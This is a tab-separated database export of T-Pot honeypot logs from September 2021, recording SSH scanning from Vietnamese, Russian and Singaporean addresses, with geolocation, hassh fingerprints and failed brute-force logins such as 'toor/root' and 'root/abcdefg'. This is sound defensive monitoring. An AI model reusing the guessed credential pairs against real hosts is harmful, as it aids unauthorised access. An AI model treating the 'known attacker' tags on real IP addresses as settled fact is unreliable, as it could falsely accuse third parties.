"hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e6945613b1df", "@version": "1", "timestamp": "2021-09-20T11:15:13.536710Z", "@timestamp": "2021-09-20T11:15:13.536Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27683	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:13.725951+03	2021-09-20 14:30:01.787524+03	{"_id": "vQbqAnwBvYTbRNuEySlI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c96c725a9b8f", "@version": "1", "duration": 2.8356146812438965, "timestamp": "2021-09-20T11:15:13.725951Z", "@timestamp": "2021-09-20T11:15:13.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27684	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:14.72091+03	2021-09-20 14:30:01.788524+03	{"_id": "vwbqAnwBvYTbRNuEzSkw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "b2e99793ae39", "@version": "1", "duration": 4.5725672245025635, "timestamp": "2021-09-20T11:15:14.720910Z", "@timestamp": "2021-09-20T11:15:14.720Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27685	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:15.287431+03	2021-09-20 14:30:01.789523+03	{"_id": "wgbqAnwBvYTbRNuE0SkZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [toor/root] failed", "session": "2e036f571af5", "@version": "1", "password": "root", "username": "toor", "timestamp": "2021-09-20T11:15:15.287431Z", "@timestamp": "2021-09-20T11:15:15.287Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27686	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:15.636096+03	2021-09-20 14:30:01.790523+03	{"_id": "xAbqAnwBvYTbRNuE0SkZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4306e5def5fb", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:15.636096Z", "@timestamp": "2021-09-20T11:15:15.636Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27687	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:15.431576+03	2021-09-20 14:30:01.791524+03	{"_id": "yAbqAnwBvYTbRNuE0Ska", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/abcdefg] failed", "session": "e6945613b1df", "@version": "1", "password": "abcdefg", "username": "root", "timestamp": "2021-09-20T11:15:15.431576Z", "@timestamp": "2021-09-20T11:15:15.431Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27688	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:15:15.953127+03	2021-09-20 14:30:01.793524+03	{"_id": "yQbqAnwBvYTbRNuE0ykB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 6, "status": 200, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "authorization": "Token 1234567890", "http_user_agent": "curl/7.64.0", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "dest_ip": "78.83.66.198", "flow_id": 1738724852707533, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 56704, "dest_port": 8000, "timestamp": "2021-09-20T11:15:15.953127Z", "@timestamp": "2021-09-20T11:15:15.953Z", "event_type": "http", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	http	\N	\N
42623	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:27:58.427718+03	2021-09-20 16:30:02.015739+03	{"_id": "qgZkA3wBvYTbRNuEUaCg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:27:58.427718Z", "@timestamp": "2021-09-20T13:27:58.427Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27690	78.83.66.198	109.199.241.180	Suricata	2021-09-20 14:15:15.953127+03	2021-09-20 14:30:01.796524+03	{"_id": "ywbqAnwBvYTbRNuE0ykB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 6, "status": 200, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "78.83.66.198", "asn": 29580, "as_org": "Mobiltel Ead", "latitude": 42.683, "location": {"lat": 42.683, "lon": 23.3175}, "timezone": "Europe/Sofia", "city_name": "Sofia", "longitude": 23.3175, "postal_code": "1000", "region_code": "22", "region_name": "Sofia-Capital", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "TCP", "src_ip": "78.83.66.198", "dest_ip": "192.168.20.116", "flow_id": 1738724852707533, "@version": "1", "fileinfo": {"md5": "3c3f2943d4337318cf737f45d5b564cd", "gaps": false, "size": 6, "magic": "ASCII text, with no line terminators", "state": "CLOSED", "tx_id": 0, "stored": false, "filename": "/API/post"}, "in_iface": "enp5s0", "src_port": 8000, "app_proto": "http", "dest_port": 56704, "timestamp": "2021-09-20T11:15:15.953127Z", "@timestamp": "2021-09-20T11:15:15.953Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
27691	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:15.638167+03	2021-09-20 14:30:01.797523+03	{"_id": "zAbqAnwBvYTbRNuE1Ck-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50542, "timestamp": "2021-09-20T11:15:15.638167", "@timestamp": "2021-09-20T11:15:15.638Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27692	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:15:16.521516+03	2021-09-20 14:30:01.798525+03	{"_id": "zwbqAnwBvYTbRNuE1SkB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:61142 (192.168.176.2:22) [session: ee2693637d5e]", "session": "ee2693637d5e", "@version": "1", "protocol": "ssh", "src_port": 61142, "dest_port": 22, "timestamp": "2021-09-20T11:15:16.521516Z", "@timestamp": "2021-09-20T11:15:16.521Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27693	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:15:16.524507+03	2021-09-20 14:30:01.799523+03	{"_id": "0QbqAnwBvYTbRNuE1SkC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "ee2693637d5e", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:15:16.524507Z", "@timestamp": "2021-09-20T11:15:16.524Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27694	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:15:16.584186+03	2021-09-20 14:30:01.801524+03	{"_id": "2AbqAnwBvYTbRNuE2Ckm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 61142, "dest_port": 22, "timestamp": "2021-09-20T11:15:16.584186", "@timestamp": "2021-09-20T11:15:16.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27695	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:17.421945+03	2021-09-20 14:30:01.802523+03	{"_id": "2gbqAnwBvYTbRNuE2Cnq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "e6945613b1df", "@version": "1", "duration": 4.5261924266815186, "timestamp": "2021-09-20T11:15:17.421945Z", "@timestamp": "2021-09-20T11:15:17.421Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27696	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:15:11.232708+03	2021-09-20 14:30:01.803524+03	{"_id": "lwbqAnwBvYTbRNuEvyl1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "flow_id": 843889892025109, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36088, "dest_port": 22, "timestamp": "2021-09-20T11:15:11.232708Z", "@timestamp": "2021-09-20T11:15:11.232Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27697	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:10.865533+03	2021-09-20 14:30:01.804524+03	{"_id": "mAbqAnwBvYTbRNuEwCmy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43792, "timestamp": "2021-09-20T11:15:10.865533", "@timestamp": "2021-09-20T11:15:10.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27698	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:11.056268+03	2021-09-20 14:30:01.805524+03	{"_id": "mQbqAnwBvYTbRNuEwCm0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.89.194.160", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36088, "timestamp": "2021-09-20T11:15:11.056268", "@timestamp": "2021-09-20T11:15:11.056Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27705	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:15.633387+03	2021-09-20 14:30:01.815524+03	{"_id": "xQbqAnwBvYTbRNuE0Ska", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:50542 (192.168.176.2:22) [session: 4306e5def5fb]", "session": "4306e5def5fb", "@version": "1", "protocol": "ssh", "src_port": 50542, "dest_port": 22, "timestamp": "2021-09-20T11:15:15.633387Z", "@timestamp": "2021-09-20T11:15:15.633Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
